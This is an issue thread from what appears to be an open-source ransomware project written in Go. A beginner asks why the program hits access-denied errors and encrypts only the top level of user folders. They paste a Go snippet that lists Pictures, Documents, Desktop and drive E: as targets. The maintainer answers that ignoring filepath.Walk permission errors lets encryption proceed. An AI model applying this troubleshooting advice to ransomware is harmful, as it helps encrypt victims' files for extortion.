Access Denied
max0451 opened this issue · 2 comments
I'm just starting out programming and I'm stuck with something here,
it's not encrypting anything, only trying to open the folders and getting access denied. The software runs as administrator.
If I change the code like this though (which you suggested in another issue):
// Directories to walk searching for files InterestingDirs = []string{ UserDir + "Pictures", UserDir + "Documents", UserDir + "Music", UserDir + "Desktop", UserDir + "Downloads", UserDir + "Videos", "E:\\", }
It encrypts the files in these folders, but only these folders without subfolders, drive E fails though.
Maybe you can help me out
I think this was fixed by 232a243
The problem is that filepath.Walk returns a permission error sometimes, so the program skip to the next folder. SImply ignoring the error works and the files still encrypt/decrypt normally
Feel free to reopen the issue if you have any questions